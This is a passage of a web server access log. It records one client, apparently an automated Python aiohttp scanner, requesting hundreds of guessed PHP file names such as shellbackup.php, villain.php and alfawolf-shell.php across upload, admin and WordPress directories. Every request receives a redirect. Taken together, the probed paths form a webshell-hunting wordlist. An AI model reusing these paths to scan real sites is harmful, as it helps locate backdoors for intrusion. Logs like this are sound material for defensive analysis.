HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:46 -0400] "GET /uploads/foxyclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:47 -0400] "GET /secure/fileme.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:48 -0400] "GET /foxy/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:49 -0400] "GET /uploads/uploadsecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:50 -0400] "GET /wp-admin/classsecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:50 -0400] "GET /secure/uploadfile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:51 -0400] "GET /uploads/backupsecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:52 -0400] "GET /secure/class.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:53 -0400] "GET /uploads/classupload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:54 -0400] "GET /uploads/adminsecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:54 -0400] "GET /uploads/uploadadmin.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:55 -0400] "GET /admin/uploadme.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:56 -0400] "GET /uploads/themesafe.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:57 -0400] "GET /uploads/secureclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:58 -0400] "GET /secure/themes.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:58 -0400] "GET /uploads/foxybackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:59 -0400] "GET /uploads/filebackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:00 -0400] "GET /uploads/fileclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:01 -0400] "GET /secure/wp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:02 -0400] "GET /uploads/leafbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:02 -0400] "GET /wp-admin/uploadsecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:03 -0400] "GET /uploads/fileupload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:04 -0400] "GET /backup/uploadsecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:05 -0400] "GET /uploads/fileclass2.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:06 -0400] "GET /uploads/shellbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:06 -0400] "GET /uploads/themesupload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:07 -0400] "GET /uploads/backupclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:08 -0400] "GET /uploads/classbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:09 -0400] "GET /admin/themes.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:09 -0400] "GET /uploads/uploadthemes.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:10 -0400] "GET /admin/backup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:11 -0400] "GET /secure/adminbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:12 -0400] "GET /uploads/uploadbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:13 -0400] "GET /secure/themesbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:14 -0400] "GET /uploads/adminbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:14 -0400] "GET /backup/admin.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:15 -0400] "GET /uploads/uploadthemesbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:16 -0400] "GET /uploads/securebackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:17 -0400] "GET /secure/uploadbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:17 -0400] "GET /uploads/uploadfilebackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:19 -0400] "GET /uploads/shellsecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:19 -0400] "GET /admin/uploadsecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:20 -0400] "GET /secure/uploadadmin.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:21 -0400] "GET /uploads/uploadclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:22 -0400] "GET /admin/filebackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:22 -0400] "GET /uploads/themesuploadbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:23 -0400] "GET /secure/filebackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:24 -0400] "GET /uploads/themessecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:24 -0400] "GET /uploads/classbackupsecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:26 -0400] "GET /admin/uploadclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:26 -0400] "GET /uploads/backupsecurefile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:27 -0400] "GET /uploads/classsecurebackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:28 -0400] "GET /uploads/classfilebackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:28 -0400] "GET /secure/classupload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:29 -0400] "GET /uploads/adminsecurebackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:30 -0400] "GET /uploads/backupsecureclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:31 -0400] "GET /wp-admin/uploadfilebackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:31 -0400] "GET /uploads/themesclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:32 -0400] "GET /uploads/foxyupload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:33 -0400] "GET /uploads/securefile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:34 -0400] "GET /admin/themesbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:34 -0400] "GET /uploads/backupsecurethemes.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:35 -0400] "GET /uploads/classuploadbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:36 -0400] "GET /wp-content/uploads/backupfile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:37 -0400] "GET /uploads/themesfile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:38 -0400] "GET /admin/classsecurebackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:39 -0400] "GET /secure/backupfile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:40 -0400] "GET /uploads/filebackupsecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:41 -0400] "GET /uploads/fileclasssecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:41 -0400] "GET /uploads/classsecurefile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:42 -0400] "GET /secure/classbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:43 -0400] "GET /uploads/fileuploadsecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:44 -0400] "GET /admin/classbackupfile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:44 -0400] "GET /uploads/uploadsecurefile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:45 -0400] "GET /secure/fileuploadbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:46 -0400] "GET /uploads/classfileupload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:46 -0400] "GET /uploads/backupfilesecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:47 -0400] "GET /uploads/classfilesecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:48 -0400] "GET /uploads/themesfilebackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:49 -0400] "GET /uploads/themessecurefile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:49 -0400] "GET /uploads/themesuploadsecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:50 -0400] "GET /secure/uploadsecurefile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:51 -0400] "GET /uploads/themesclassbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:51 -0400] "GET /uploads/classfile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:52 -0400] "GET /uploads/secureclassfile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:53 -0400] "GET /uploads/backupsecurethemesfile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:54 -0400] "GET /uploads/filebackupclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:54 -0400] "GET /uploads/backupfileclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:55 -0400] "GET /uploads/classsecureupload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:56 -0400] "GET /secure/backupclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:57 -0400] "GET /uploads/themesbackupfile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:57 -0400] "GET /uploads/securefilebackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:58 -0400] "GET /uploads/themesbackupclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:59 -0400] "GET /uploads/backupsecurethemesbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:51:59 -0400] "GET /uploads/classsecurethemes.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:00 -0400] "GET /uploads/classuploadsecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:01 -0400] "GET /uploads/securebackupfile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:02 -0400] "GET /admin/securebackupfile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:02 -0400] "GET /uploads/themesclassfile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:03 -0400] "GET /uploads/classfilebackupsecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:04 -0400] "GET /uploads/securebackupclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:05 -0400] "GET /uploads/uploadclassbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:05 -0400] "GET /secure/backupsecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:06 -0400] "GET /uploads/themesfileclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:07 -0400] "GET /uploads/backupsecurefileclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:08 -0400] "GET /uploads/securebackupsecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:08 -0400] "GET /uploads/classbackupclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:09 -0400] "GET /uploads/securefileclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:10 -0400] "GET /uploads/themessecurebackupfile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:11 -0400] "GET /uploads/uploadsecureclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:12 -0400] "GET /uploads/themesclassupload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:13 -0400] "GET /uploads/themesclasssecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:13 -0400] "GET /uploads/backupfilebackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:14 -0400] "GET /uploads/backupclassfile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:15 -0400] "GET /uploads/themessecurebackupclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:16 -0400] "GET /secure/classbackupfile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:16 -0400] "GET /uploads/securebackupsecurefile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:17 -0400] "GET /uploads/filebackupclasssecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:18 -0400] "GET /uploads/themessecureupload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:19 -0400] "GET /uploads/fileclassbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:19 -0400] "GET /uploads/uploadsecureclassfile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:20 -0400] "GET /uploads/securebackupclassfile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:21 -0400] "GET /uploads/filebackupfile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:22 -0400] "GET /uploads/classsecurefilebackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:23 -0400] "GET /uploads/securefilebackupclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:23 -0400] "GET /uploads/filebackupsecureclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:24 -0400] "GET /uploads/themesbackupfileclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:25 -0400] "GET /uploads/backupsecurethemesbackupclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:26 -0400] "GET /uploads/classfileclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:26 -0400] "GET /uploads/themesbackupfilebackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:27 -0400] "GET /uploads/themessecurebackupsecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:28 -0400] "GET /uploads/backupsecurebackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:29 -0400] "GET /uploads/themesfileclassbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:30 -0400] "GET /uploads/securefileclassbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:30 -0400] "GET /uploads/securebackupsecureclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:31 -0400] "GET /uploads/fileclassupload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:32 -0400] "GET /uploads/backupsecurefilebackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:33 -0400] "GET /uploads/classbackupbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:33 -0400] "GET /uploads/backupsecurefileclassbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:34 -0400] "GET /uploads/securebackupbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:35 -0400] "GET /uploads/securefilebackupsecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:36 -0400] "GET /uploads/classbackupfilebackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:36 -0400] "GET /uploads/backupfilesecurebackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:37 -0400] "GET /uploads/classfileuploadsecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:39 -0400] "GET /uploads/fileclasssecurebackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:40 -0400] "GET /uploads/secureclassuploadsecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:40 -0400] "GET /uploads/themesbackupfilebackupsecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:41 -0400] "GET /uploads/themessecureclassfile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:42 -0400] "GET /uploads/backupclassupload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:42 -0400] "GET /uploads/backupfileclassbackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:43 -0400] "GET /uploads/themesbackupsecurebackup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:44 -0400] "GET /uploads/filebackupsecureclassfile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:44 -0400] "GET /villain.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:45 -0400] "GET /wp-admin/villain.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:46 -0400] "GET /wp-admin/css/villain.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:47 -0400] "GET /wp-admin/images/villain.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:47 -0400] "GET /wp-admin/includes/villain.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:48 -0400] "GET /wp-admin/maint/villain.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:49 -0400] "GET /wp-admin/network/villain.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:50 -0400] "GET /wp-admin/user/villain.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:50 -0400] "GET /wp-admin/404TVS/villain.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:51 -0400] "GET /.well-known/pki-validation/villain.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:52 -0400] "GET /.well-known/villain.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:53 -0400] "GET /.well-known/acme-challenge/villain.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:53 -0400] "GET /images/villain.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:54 -0400] "GET /cache1/villain.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:55 -0400] "GET /cc888f23/villain.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:56 -0400] "GET /wp-content/villain.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:56 -0400] "GET /wp-content/themes/villain.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:57 -0400] "GET /wp-content/plugins/villain.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:58 -0400] "GET /wp-content/uploads/villain.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:58 -0400] "GET /wp-content/upgrades/villain.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:52:59 -0400] "GET /alfawolf-shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:00 -0400] "GET /wp-admin/alfawolf-shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:01 -0400] "GET /wp-admin/css/alfawolf-shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:01 -0400] "GET /wp-admin/images/alfawolf-shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:02 -0400] "GET /wp-admin/includes/alfawolf-shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:03 -0400] "GET 